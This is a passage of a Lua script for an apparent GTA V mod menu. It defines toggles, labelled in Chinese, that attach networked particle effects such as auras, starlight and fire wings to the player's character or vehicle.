local rot = ENTITY.GET_ENTITY_ROTATION(players.user_ped(), 2)
ENTITY.ATTACH_ENTITY_TO_ENTITY(ptfxEgg, players.user_ped(), -1, 0, 0, 0, rot.x, rot.y, rot.z, false, false, false, false, 0, false)
ENTITY.SET_ENTITY_ROTATION(ptfxEgg, rot.x, rot.y, rot.z, 2, true)
for i = 1, #fireWingse do
GRAPHICS.SET_PARTICLE_FX_LOOPED_SCALE(fireWingse[i].ptfx, fireWingsSettingse.scalee)
GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fireWingse[i].ptfx, fireWingsSettingse.colour.r, fireWingsSettingse.colour.g, fireWingsSettingse.colour.b)
end
ENTITY.SET_ENTITY_VISIBLE(ptfxEgg, false)
return fireWingsSettingse.on
end)
end
else
for i = 1, #fireWingse do
if fireWingse[i].ptfx then
GRAPHICS.REMOVE_PARTICLE_FX(fireWingse[i].ptfx, true)
fireWingse[i].ptfx = nil
end
if ptfxEgg then
entities.delete_by_handle(ptfxEgg)
ptfxEgg = nil
end
end
STREAMING.REMOVE_NAMED_PTFX_ASSET('scr_xs_props')
end
end)
        
affects = {}

newptfx = GT(texiao, "近期更新", {}, "部分特效需成为[战局脚本主机]\n成为后战局玩家即可看见您的特效\n\n<如何成为战局脚本主机?>\n本体菜单 >> 线上 >> 战局选项 >> 成为战局脚本主机")

GTLP(newptfx, "奥义秘术", {""}, "此特效由于粒子上限可能无法展示完全效果", function()
    for i = 1, 16 do
    local p_pos = players.get_position(players.user())
    local rad = 2 * math.pi
        rad = rad / 16
        rad = rad * i
             p_pos.x = p_pos.x + (18 * math.cos(rad))
             p_pos.y = p_pos.y + (18 * math.sin(rad))
             p_pos.z = p_pos.z +0.5
    request_ptfx_asset("scr_sum2_hal")
         GRAPHICS.USE_PARTICLE_FX_ASSET("scr_sum2_hal")
    GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD(
        "scr_sum2_hal_rider_weak_blue", p_pos.x, p_pos.y, p_pos.z, 0, 0, 0, 4, false, false, false)
    local c_pos = players.get_position(players.user())
        request_ptfx_asset("scr_sum2_hal")
    GRAPHICS.USE_PARTICLE_FX_ASSET("scr_sum2_hal")
    GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD(
    suijijianqi(jianqi), c_pos.x, c_pos.y, c_pos.z, 0, 0, 0, 2.5, false, false, false)
    end
end)

GTLP(texiao,"斗气护甲", {""}, "", function ()
local colour = {r = 0.0, g = 1.0, b = 1.0, a = 0.0}
local affect <const> = Effect.new("scr_bike_adversary", "scr_adversary_gunsmith_weap_smoke")
if not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED(affect.asset) then
STREAMING.REQUEST_NAMED_PTFX_ASSET(affect.asset)
return
end
if timer.elapsed() >= 1000 then
removeFxs(affects); affects = {}
timer.reset()
end
if PED.IS_PED_IN_ANY_VEHICLE(players.user_ped(), true) then
local vehicle = PED.GET_VEHICLE_PED_IS_IN(players.user_ped(), false)
local minimum, maximum = v3.new(), v3.new()
MISC.GET_MODEL_DIMENSIONS(ENTITY.GET_ENTITY_MODEL(vehicle), minimum, maximum)
local offsets <const> = {v3(minimum.x, minimum.y, 0.0), v3(maximum.x, minimum.y, 0.0)}
for _, offset in ipairs(offsets) do
GRAPHICS.USE_PARTICLE_FX_ASSET(affect.asset)
local fx =
GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY(affect.name,vehicle,offset.x,offset.y,0.0,0.0,0.0,0.0,0.0, false, false, false,0, 0, 0, 0)
GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fx, colour.r, colour.g, colour.b, 0)
table.insert(affects, fx)
end
elseif ENTITY.DOES_ENTITY_EXIST(players.user_ped()) then
for _, boneId in ipairs(bones) do
GRAPHICS.USE_PARTICLE_FX_ASSET(affect.asset)
local fx =
GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY_BONE(affect.name,players.user_ped(),0.0,0.0,0.0,0.0,0.0,0.0,PED.GET_PED_BONE_INDEX(players.user_ped(), boneId),0.7, false, false, false,0, 0, 0, 0)
GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fx, colour.r, colour.g, colour.b, 0)
table.insert(affects, fx)
end
end
end, function ()
removeFxs(affects); affects = {}
end)

starlight = GT(texiao,"星光闪耀", {})
GTLP(starlight,"星光闪耀v1", {""}, "", function ()
local colour = {r = 0.0, g = 1.0, b = 1.0, a = 0.0}
local affect <const> = Effect.new("scr_rcpaparazzo1", "scr_mich4_firework_trailburst_spawn")
if not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED(affect.asset) then
STREAMING.REQUEST_NAMED_PTFX_ASSET(affect.asset)
return
end
if timer.elapsed() >= 1000 then
removeFxs(affects); affects = {}
timer.reset()
end
if PED.IS_PED_IN_ANY_VEHICLE(players.user_ped(), true) then
local vehicle = PED.GET_VEHICLE_PED_IS_IN(players.user_ped(), false)
local minimum, maximum = v3.new(), v3.new()
MISC.GET_MODEL_DIMENSIONS(ENTITY.GET_ENTITY_MODEL(vehicle), minimum, maximum)
local offsets <const> = {v3(minimum.x, minimum.y, 0.0), v3(maximum.x, minimum.y, 0.0)}
for _, offset in ipairs(offsets) do
GRAPHICS.USE_PARTICLE_FX_ASSET(affect.asset)
local fx =
GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY(affect.name,vehicle,offset.x,offset.y,0.0,0.0,0.0,0.0,0.7, false, false, false,0, 0, 0, 0)
GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fx, colour.r, colour.g, colour.b, 0)
table.insert(affects, fx)
end
elseif ENTITY.DOES_ENTITY_EXIST(players.user_ped()) then
for _, boneId in ipairs(bones) do
GRAPHICS.USE_PARTICLE_FX_ASSET(affect.asset)
local fx =
GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY_BONE(affect.name,players.user_ped(),0.0,0.0,0.0,0.0,0.0,0.0,PED.GET_PED_BONE_INDEX(players.user_ped(), boneId),0.7, false, false, false,0, 0, 0, 0)
GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fx, colour.r, colour.g, colour.b, 0)
table.insert(affects, fx)
end
end
end, function ()
removeFxs(affects); affects = {}
end)

GTLP(starlight,"星光闪耀v2", {""}, "", function ()
local colour = {r = 1.0, g = 1.0, b = 1.0, a = 1.0}
local affect <const> = Effect.new("scr_rcpaparazzo1", "scr_mich4_firework_trailburst_spawn")
if not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED(affect.asset) then
STREAMING.REQUEST_NAMED_PTFX_ASSET(affect.asset)
return
end
if timer.elapsed() >= 1000 then
removeFxs(affects); affects = {}
timer.reset()
end
if PED.IS_PED_IN_ANY_VEHICLE(players.user_ped(), true) then
local vehicle = PED.GET_VEHICLE_PED_IS_IN(players.user_ped(), false)
local minimum, maximum = v3.new(), v3.new()
MISC.GET_MODEL_DIMENSIONS(ENTITY.GET_ENTITY_MODEL(vehicle), minimum, maximum)
local offsets <const> = {v3(minimum.x, minimum.y, 0.0), v3(maximum.x, minimum.y, 0.0)}
for _, offset in ipairs(offsets) do
GRAPHICS.USE_PARTICLE_FX_ASSET(affect.asset)
local fx =
GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY(affect.name,vehicle,offset.x,offset.y,0.0,0.0,0.0,0.0,0.7, false, false, false,0, 0, 0, 0)
GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fx, colour.r, colour.g, colour.b, 0)
table.insert(affects, fx)
end
elseif ENTITY.DOES_ENTITY_EXIST(players.user_ped()) then
for _, boneId in ipairs(bones) do
GRAPHICS.USE_PARTICLE_FX_ASSET(affect.asset)
local fx =
GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY_BONE(affect.name,players.user_ped(),0.0,0.0,0.0,0.0,0.0,0.0,PED.GET_PED_BONE_INDEX(players.user_ped(), boneId),0.7, false, false, false,0, 0, 0, 0)
GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fx, colour.r, colour.g, colour.b, 0)
table.insert(affects, fx)
end
end
end, function ()
removeFxs(affects); affects = {}
end)

GTLP(starlight,"星光闪耀v3", {""}, "", function ()
local colour = {r = 1.0, g = 0.0, b = 1.0, a = 1.0}
local affect <const> = Effect.new("scr_rcpaparazzo1", "scr_mich4_firework_trailburst_spawn")
if not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED(affect.asset) then
STREAMING.REQUEST_NAMED_PTFX_ASSET(affect.asset)
return
end
if timer.elapsed() >= 1000 then
removeFxs(affects); affects = {}
timer.reset()
end
if PED.IS_PED_IN_ANY_VEHICLE(players.user_ped(), true) then
local vehicle = PED.GET_VEHICLE_PED_IS_IN(players.user_ped(), false)
local minimum, maximum = v3.new(), v3.new()
MISC.GET_MODEL_DIMENSIONS(ENTITY.GET_ENTITY_MODEL(vehicle), minimum, maximum)
local offsets <const> = {v3(minimum.x, minimum.y, 0.0), v3(maximum.x, minimum.y, 0.0)}
for _, offset in ipairs(offsets) do
GRAPHICS.USE_PARTICLE_FX_ASSET(affect.asset)
local fx =
GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY(affect.name,vehicle,offset.x,offset.y,0.0,0.0,0.0,0.0,0.7, false, false, false,0, 0, 0, 0)
GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fx, colour.r, colour.g, colour.b, 0)
table.insert(affects, fx)
end
elseif ENTITY.DOES_ENTITY_EXIST(players.user_ped()) then
for _, boneId in ipairs(bones) do
GRAPHICS.USE_PARTICLE_FX_ASSET(affect.asset)
local fx =
GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY_BONE(affect.name,players.user_ped(),0.0,0.0,0.0,0.0,0.0,0.0,PED.GET_PED_BONE_INDEX(players.user_ped(), boneId),0.7, false, false, false,0, 0, 0, 0)
GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fx, colour.r, colour.g, colour.b, 0)
table.insert(affects, fx)
end
end
end, function ()
removeFxs(affects); affects = {}
end)

GTLP(texiao,"列光波", {""}, "", function ()
local colour = {r = 0.0, g = 1.0, b = 1.0, a = 0.0}
local affect <const> = Effect.new("proj_indep_firework", "proj_indep_flare_trail")
if not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED(affect.asset) then
STREAMING.REQUEST_NAMED_PTFX_ASSET(affect.asset)
return
end
if timer.elapsed() >= 1000 then
removeFxs(affects); affects = {}
timer.reset()
end
if PED.IS_PED_IN_ANY_VEHICLE(players.user_ped(), true) then
local vehicle = PED.GET_VEHICLE_PED_IS_IN(players.user_ped(), false)
local minimum, maximum = v3.new(), v3.new()
MISC.GET_MODEL_DIMENSIONS(ENTITY.GET_ENTITY_MODEL(vehicle), minimum, maximum)
local offsets <const> = {v3(minimum.x, minimum.y, 0.0), v3(maximum.x, minimum.y, 0.0)}
for _, offset in ipairs(offsets) do
GRAPHICS.USE_PARTICLE_FX_ASSET(affect.asset)
local fx =
GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY(affect.name,vehicle,offset.x,offset.y,0.0,0.0,0.0,0.0,0.7, false, false, false,0, 0, 0, 0)
GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fx, colour.r, colour.g, colour.b, 0)
table.insert(affects, fx)
end
elseif ENTITY.DOES_ENTITY_EXIST(players.user_ped()) then
for _, boneId in ipairs(bones) do
GRAPHICS.USE_PARTICLE_FX_ASSET(affect.asset)
local fx =
GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY_BONE(affect.name,players.user_ped(),0.0,0.0,0.0,0.0,0.0,0.0,PED.GET_PED_BONE_INDEX(players.user_ped(), boneId),0.7, false, false, false,0, 0, 0, 0)
GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fx, colour.r, colour.g, colour.b, 0)
table.insert(affects, fx)
end
end
end, function ()
removeFxs(affects); affects = {}
end)

GTLP(texiao,"蒸汽朋克", {""}, "", function ()
local colour = {r = 0.0, g = 1.0, b = 1.0, a = 0.0}
local affect <const> = Effect.new("wpn_indep_firework", "muz_indep_firework")
if not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED(affect.asset) then
STREAMING.REQUEST_NAMED_PTFX_ASSET(affect.asset)
return
end
if timer.elapsed() >= 1000 then
removeFxs(affects); affects = {}
timer.reset()
end
if PED.IS_PED_IN_ANY_VEHICLE(players.user_ped(), true) then
local vehicle = PED.GET_VEHICLE_PED_IS_IN(players.user_ped(), false)
local minimum, maximum = v3.new(), v3.new()
MISC.GET_MODEL_DIMENSIONS(ENTITY.GET_ENTITY_MODEL(vehicle), minimum, maximum)
local offsets <const> = {v3(minimum.x, minimum.y, 0.0), v3(maximum.x, minimum.y, 0.0)}
for _, offset in ipairs(offsets) do
GRAPHICS.USE_PARTICLE_FX_ASSET(affect.asset)
local fx =
GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY(affect.name,vehicle,offset.x,offset.y,0.0,0.0,0.0,0.0,0.0, false, false, false,0, 0, 0, 0)
GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fx, colour.r, colour.g, colour.b, 0)
table.insert(affects, fx)
end
elseif ENTITY.DOES_ENTITY_EXIST(players.user_ped()) then
for _, boneId in ipairs(bones) do
GRAPHICS.USE_PARTICLE_FX_ASSET(affect.asset)
local fx =
GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY_BONE(affect.name,players.user_ped(),0.0,0.0,0.0,0.0,0.0,0.0,PED.GET_PED_BONE_INDEX(players.user_ped(), boneId),0.7, false, false, false,0, 0, 0, 0)
GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fx, colour.r, colour.g, colour.b, 0)
table.insert(affects, fx)
end
end
end, function ()
removeFxs(affects); affects = {}
end)

GTLP(texiao,"火冒三丈", {""}, "", function ()
local colour = {r = 1.0, g = 0.0, b = 1.0, a = 1.0}
local affect <const> = Effect.new("scr_ie_export", "scr_ie_export_fire_ring")
if not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED(affect.asset) then
STREAMING.REQUEST_NAMED_PTFX_ASSET(affect.asset)
return
end
if timer.elapsed() >= 1000 then
removeFxs(affects); affects = {}
timer.reset()
end
if PED.IS_PED_IN_ANY_VEHICLE(players.user_ped(), true) then
local vehicle = PED.GET_VEHICLE_PED_IS_IN(players.user_ped(), false)
local minimum, maximum = v3.new(), v3.new()
MISC.GET_MODEL_DIMENSIONS(ENTITY.GET_ENTITY_MODEL(vehicle), minimum, maximum)
local offsets <const> = {v3(minimum.x, minimum.y, 0.0), v3(maximum.x, minimum.y, 0.0)}
for _, offset in ipairs(offsets) do
GRAPHICS.USE_PARTICLE_FX_ASSET(affect.asset)
local fx =
GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY(affect.name,vehicle,offset.x,offset.y,0.0,0.0,0.0,0.0,0.0, false, false, false,0, 0, 0, 0)
GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fx, colour.r, colour.g, colour.b, 0)
table.insert(affects, fx)
end
elseif ENTITY.DOES_ENTITY_EXIST(players.user_ped()) then
for _, boneId in ipairs(bones) do
GRAPHICS.USE_PARTICLE_FX_ASSET(affect.asset)
local fx =
GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY_BONE(affect.name,players.user_ped(),0.0,0.0,0.0,0.0,0.0,0.0,PED.GET_PED_BONE_INDEX(players.user_ped(), boneId),0.7, false, false, false,0, 0, 0, 0)
GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fx, colour.r, colour.g, colour.b, 0)
table.insert(affects, fx)
end
end
end, function ()
removeFxs(affects); affects = {}
end)

feisheng = GT(texiao,"飞升", {})
GTLP(feisheng,"飞升v1", {""}, "", function ()
local colour = {r = 0.0, g = 1.0, b = 1.0, a = 0.0}
local affect <const> = Effect.new("scr_as_trap", "scr_as_trap_zone_rectangle")
if not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED(affect.asset) then
STREAMING.REQUEST_NAMED_PTFX_ASSET(affect.asset)
return
end
if timer.elapsed() >= 1000 then
removeFxs(affects); affects = {}
timer.reset()
end
if PED.IS_PED_IN_ANY_VEHICLE(players.user_ped(), true) then
local vehicle = PED.GET_VEHICLE_PED_IS_IN(players.user_ped(), false)
local minimum, maximum = v3.new(), v3.new()
MISC.GET_MODEL_DIMENSIONS(ENTITY.GET_ENTITY_MODEL(vehicle), minimum, maximum)
local offsets <const> = {v3(minimum.x, minimum.y, 0.0), v3(maximum.x, minimum.y, 0.0)}
for _, offset in ipairs(offsets) do
GRAPHICS.USE_PARTICLE_FX_ASSET(affect.asset)
local fx =
GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY(affect.name,vehicle,offset.x,offset.y,0.0,0.0,0.0,0.0,0.0, false, false, false,0, 0, 0, 0)
GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fx, colour.r, colour.g, colour.b, 0)
table.insert(affects, fx)
end
elseif ENTITY.DOES_ENTITY_EXIST(players.user_ped()) then
for _, boneId in ipairs(bones) do
GRAPHICS.USE_PARTICLE_FX_ASSET(affect.asset)
local fx =
GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY_BONE(affect.name,players.user_ped(),0.0,0.0,0.0,0.0,0.0,0.0,PED.GET_PED_BONE_INDEX(players.user_ped(), boneId),0.7, false, false, false,0, 0, 0, 0)
GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fx, colour.r, colour.g, colour.b, 0)
table.insert(affects, fx)
end
end
end, function ()
removeFxs(affects); affects = {}
end)

GTLP(feisheng,"飞升v2", {""}, "", function ()
local colour = {r = 1.0, g = 1.0, b = 1.0, a = 1.0}
local affect <const> = Effect.new("scr_as_trap", "scr_as_trap_zone_rectangle")
if not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED(affect.asset) then
STREAMING.REQUEST_NAMED_PTFX_ASSET(affect.asset)
return
end
if timer.elapsed() >= 1000 then
removeFxs(affects); affects = {}
timer.reset()
end
if PED.IS_PED_IN_ANY_VEHICLE(players.user_ped(), true) then
local vehicle = PED.GET_VEHICLE_PED_IS_IN(players.user_ped(), false)
local minimum, maximum = v3.new(), v3.new()
MISC.GET_MODEL_DIMENSIONS(ENTITY.GET_ENTITY_MODEL(vehicle), minimum, maximum)
local offsets <const> = {v3(minimum.x, minimum.y, 0.0), v3(maximum.x, minimum.y, 0.0)}
for _, offset in ipairs(offsets) do
GRAPHICS.USE_PARTICLE_FX_ASSET(affect.asset)
local fx =
GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY(affect.name,vehicle,offset.x,offset.y,0.0,0.0,0.0,0.0,0.0, false, false, false,0, 0, 0, 0)
GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fx, colour.r, colour.g, colour.b, 0)
table.insert(affects, fx)
end
elseif ENTITY.DOES_ENTITY_EXIST(players.user_ped()) then
for _, boneId in ipairs(bones) do
GRAPHICS.USE_PARTICLE_FX_ASSET(affect.asset)
local fx =
GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY_BONE(affect.name,players.user_ped(),0.0,0.0,0.0,0.0,0.0,0.0,PED.GET_PED_BONE_INDEX(players.user_ped(), boneId),0.7, false, false, false,0, 0, 0, 0)
GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fx, colour.r, colour.g, colour.b, 0)
table.insert(affects, fx)
end
end
end, function ()
removeFxs(affects); affects = {}
end)

GTLP(texiao,"荧光飞轮", {""}, "", function ()
local colour = {r = 1.0, g = 1.0, b = 1.0, a = 1.0}
local affect <const> = Effect.new("veh_sm_pyro", "veh_exhaust_afterburner_pyro")
if not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED(affect.asset) then
STREAMING.REQUEST_NAMED_PTFX_ASSET(affect.asset)
return
end
if timer.elapsed() >= 1000 then
removeFxs(affects); affects = {}
timer.reset()
end
if PED.IS_PED_IN_ANY_VEHICLE(players.user_ped(), true) then
local vehicle = PED.GET_VEHICLE_PED_IS_IN(players.user_ped(), false)
local minimum, maximum = v3.new(), v3.new()
MISC.GET_MODEL_DIMENSIONS(ENTITY.GET_ENTITY_MODEL(vehicle), minimum, maximum)
local offsets <const> = {v3(minimum.x, minimum.y, 0.0), v3(maximum.x, minimum.y, 0.0)}
for _, offset in ipairs(offsets) do
GRAPHICS.USE_PARTICLE_FX_ASSET(affect.asset)
local fx =
GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY(affect.name,vehicle,offset.x,offset.y,0.0,0.0,0.0,0.0,0.0, false, false, false,0, 0, 0, 0)
GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fx, colour.r, colour.g, colour.b, 0)
table.insert(affects, fx)
end
elseif ENTITY.DOES_ENTITY_EXIST(players.user_ped()) then
for _, boneId in ipairs(bones) do
GRAPHICS.USE_PARTICLE_FX_ASSET(affect.asset)
local fx =
GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY_BONE(affect.name,players.user_ped(),0.0,0.0,0.0,0.0,0.0,0.0,PED.GET_PED_BONE_INDEX(players.user_ped(), boneId),0.5, false, false, false,0, 0, 0, 0)
GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fx, colour.r, colour.g, colour.b, 0)
table.insert(affects, fx)
end
end
end, function ()
removeFxs(affects); affects = {}
end)

function firewingcolours(colours)
fireWingsSettingse.colour = colour
end
 fireWingse = {
[1] = {pos = {[1] = 100, [2] =  50}},
[2] = {pos = {[1] = 100, [2] = -50}},
[3] = {pos = {[1] = 115, [2] =  50}},
[4] = {pos = {[1] = 115, [2] = -50}},
[5] = {pos = {[1] = 160, [2] =  50}},
[6] = {pos = {[1] = 160, [2] = -50}},
[7] = {pos = {[1] = 170, [2] =  50}},
[8] = {pos = {[1] = 170, [2] = -50}},
[9] = {pos = {[1] = 110, [2] =  50}},
[10] = {pos = {[1] = 110, [2] = -50}},
[11] = {pos = {[1] = 120, [2] =  50}},
[12] = {pos = {[1] = 120, [2] = -50}},
[13] = {pos = {[1] = 130, [2] =  50}},
[14] = {pos = {[1] = 130, [2] = -50}},
[15] = {pos = {[1] = 190, [2] =  50}},
[16] = {pos = {[1] = 190, [2] = -50}},
[17] = {pos = {[1] = 175, [2] =  50}},
[18] = {pos = {[1] = 175, [2] = -50}},
[19] = {pos = {[1] = 140, [2] =  50}},
[20] = {pos = {[1] = 140, [2] = -50}},
[21] = {pos = {[1] = 150, [2] =  50}},
[22] = {pos = {[1] = 150, [2] = -50}},
[23] = {pos = {[1] = 180, [2] =  50}},
[24] = {pos = {[1] = 180, [2] = -50}},
}

local mildOrangeFires = new.colour( 60, 255, 255 )
fireWingsSettingse = {
scalee = 1,
colour = mildOrangeFires,
on = false,
y = { value = 0.12, still = 0.12, walk =  0.22, sprint = 0.32, sneak = 0.35 },
z = { value = 0.58, still = 0.58, walk =  0.45, sprint = 0.38, sneak = 0.35 },
}
fireWingsSettingse.colour = colour
huoshen = GT(texiao,"火神", {})
GTTG(huoshen, "火神",{""}, "",function(toggle)
fireWingsSettingse.on = toggle
if fireWingsSettingse.on then
 ENTITY.SET_ENTITY_PROOFS(players.user_ped(), false, true, false, false, false, false, 1, false)
if ptfxEgg == nil then
local eggHash = 1803116220
loadModel(eggHash)
ptfxEgg = entities.create_object(eggHash, ENTITY.GET_ENTITY_COORDS(players.user_ped()))
ENTITY.SET_ENTITY_COLLISION(ptfxEgg, false, false)
STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(eggHash)
end
for i = 1, #fireWingse do
while not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED('scr_xs_props') do
STREAMING.REQUEST_NAMED_PTFX_ASSET('scr_xs_props')
wait()
end
GRAPHICS.USE_PARTICLE_FX_ASSET('scr_xs_props')
fireWingse[i].ptfx = GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY('scr_xs_oil_jack_fire', ptfxEgg, 0, 0, 0.1, fireWingse[i].pos[1], 0, fireWingse[i].pos[2], fireWingsSettingse.scalee, false, false, false)
util.create_tick_handler(function()
local rot = ENTITY.GET_ENTITY_ROTATION(players.user_ped(), 2)
ENTITY.ATTACH_ENTITY_TO_ENTITY(ptfxEgg, players.user_ped(), -1, 0, 0, 0, rot.x, rot.y, rot.z, false, false, false, false, 0, false)
ENTITY.SET_ENTITY_ROTATION(ptfxEgg, rot.x, rot.y, rot.z, 2, true)
for i = 1, #fireWingse do
GRAPHICS.SET_PARTICLE_FX_LOOPED_SCALE(fireWingse[i].ptfx, fireWingsSettingse.scalee)
GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fireWingse[i].ptfx, fireWingsSettingse.colour.r, fireWingsSettingse.colour.g, fireWingsSettingse.colour.b)
end
ENTITY.SET_ENTITY_VISIBLE(ptfxEgg, false)
return fireWingsSettingse.on
end)
end
else
for i = 1, #fireWingse do
if fireWingse[i].ptfx then
GRAPHICS.REMOVE_PARTICLE_FX(fireWingse[i].ptfx, true)
fireWingse[i].ptfx = nil
end
if ptfxEgg then
entities.delete_by_handle(ptfxEgg)
ptfxEgg = nil
end
end
STREAMING.REMOVE_NAMED_PTFX_ASSET('scr_xs_props')
end
end)

GTTG(huoshen, "火神II",{""}, "",function(toggle)
fireWingsSettingse.on = toggle
if fireWingsSettingse.on then
 ENTITY.SET_ENTITY_PROOFS(players.user_ped(), false, true, false, false, false, false, 1, false)
if ptfxEgg == nil then
local eggHash = 1803116220
loadModel(eggHash)
ptfxEgg = entities.create_object(eggHash, ENTITY.GET_ENTITY_COORDS(players.user_ped()))
ENTITY.SET_ENTITY_COLLISION(ptfxEgg, false, false)
STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(eggHash)
end
for i = 1, #fireWingse do
while not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED('scr_paletoscore') do
STREAMING.REQUEST_NAMED_PTFX_ASSET('scr_paletoscore')
wait()
end
GRAPHICS.USE_PARTICLE_FX_ASSET('scr_paletoscore')
fireWingse[i].ptfx = GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY('scr_paleto_fire_trail', ptfxEgg, 0, 0, 0.1, fireWingse[i].pos[1], 0, fireWingse[i].pos[2], fireWingsSettingse.scalee, false, false, false)
util.create_tick_handler(function()
local rot = ENTITY.GET_ENTITY_ROTATION(players.user_ped(), 2)
ENTITY.ATTACH_ENTITY_TO_ENTITY(ptfxEgg, players.user_ped(), -1, 0, 0, 0, rot.x, rot.y, rot.z, false, false, false, false, 0, false)
ENTITY.SET_ENTITY_ROTATION(ptfxEgg, rot.x, rot.y, rot.z, 2, true)
for i = 1, #fireWingse do
GRAPHICS.SET_PARTICLE_FX_LOOPED_SCALE(fireWingse[i].ptfx, fireWingsSettingse.scalee)
GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fireWingse[i].ptfx, fireWingsSettingse.colour.r, fireWingsSettingse.colour.g, fireWingsSettingse.colour.b)
end
ENTITY.SET_ENTITY_VISIBLE(ptfxEgg, false)
return fireWingsSettingse.on
end)
end
else
for i = 1, #fireWingse do
if fireWingse[i].ptfx then
GRAPHICS.REMOVE_PARTICLE_FX(fireWingse[i].ptfx, true)
fireWingse[i].ptfx = nil
end
if ptfxEgg then
entities.delete_by_handle(ptfxEgg)
ptfxEgg = nil
end
end
STREAMING.REMOVE_NAMED_PTFX_ASSET('scr_paletoscore')
end
end)

GTTG(huoshen, "火神III",{""}, "",function(toggle)
fireWingsSettingse.on = toggle
if fireWingsSettingse.on then
 ENTITY.SET_ENTITY_PROOFS(players.user_ped(), false, true, false, false, false, false, 1, false)
if ptfxEgg == nil then
local eggHash = 1803116220
loadModel(eggHash)
ptfxEgg = entities.create_object(eggHash, ENTITY.GET_ENTITY_COORDS(players.user_ped()))
ENTITY.SET_ENTITY_COLLISION(ptfxEgg, false, false)
STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(eggHash)
end
for i = 1, #fireWingse do
while not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED('scr_martin1') do
STREAMING.REQUEST_NAMED_PTFX_ASSET('scr_martin1')
wait()
end
GRAPHICS.USE_PARTICLE_FX_ASSET('scr_martin1')
fireWingse[i].ptfx = GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY('scr_sol1_plane_smoke_loop', ptfxEgg, 0, 0, 0, fireWingse[i].pos[1], 0, fireWingse[i].pos[2], fireWingsSettingse.scalee, false, false, false)
util.create_tick_handler(function()
local rot = ENTITY.GET_ENTITY_ROTATION(players.user_ped(), 2)
ENTITY.ATTACH_ENTITY_TO_ENTITY(ptfxEgg, players.user_ped(), -1, 0, 0, 0.5, rot.x, rot.y, rot.z, false, false, false, false, 0, false)
ENTITY.SET_ENTITY_ROTATION(ptfxEgg, rot.x, rot.y, rot.z, 2, true)
for i = 1, #fireWingse do
GRAPHICS.SET_PARTICLE_FX_LOOPED_SCALE(fireWingse[i].ptfx, fireWingsSettingse.scalee)
GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fireWingse[i].ptfx, fireWingsSettingse.colour.r, fireWingsSettingse.colour.g, fireWingsSettingse.colour.b)
end
ENTITY.SET_ENTITY_VISIBLE(ptfxEgg, false)
return fireWingsSettingse.on
end)
end
else
for i = 1, #fireWingse do
if fireWingse[i].ptfx then
GRAPHICS.REMOVE_PARTICLE_FX(fireWingse[i].ptfx, true)
